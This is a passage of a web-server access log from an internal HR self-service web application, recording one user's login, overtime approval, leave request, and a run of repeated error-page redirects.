Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:14 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 192.168.11.153 - - [02/Dec/2025:13:07:19 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 27330 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:19 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 27330 192.168.11.153 - - [02/Dec/2025:13:07:31 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:31 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:31 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132695%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132695&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:31 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132695%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132695&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:31 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:31 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:32 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:32 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:32 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:32 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:32 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:32 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:33 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:33 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:33 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:33 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:33 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:33 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:33 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:33 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:12:45 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:12:45 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 192.168.11.153 - - [02/Dec/2025:13:12:48 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:12:48 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:12:48 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:12:48 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 192.168.11.153 - - [02/Dec/2025:13:12:49 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:12:49 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.153 - - [02/Dec/2025:13:12:53 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:12:53 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.153 - - [02/Dec/2025:13:13:15 +0800] "POST /ehr/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:13:15 +0800] "POST /ehr/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.153 - - [02/Dec/2025:13:13:26 +0800] "POST /ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:13:26 +0800] "POST /ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:13:27 +0800] "GET /ehr/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120324%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 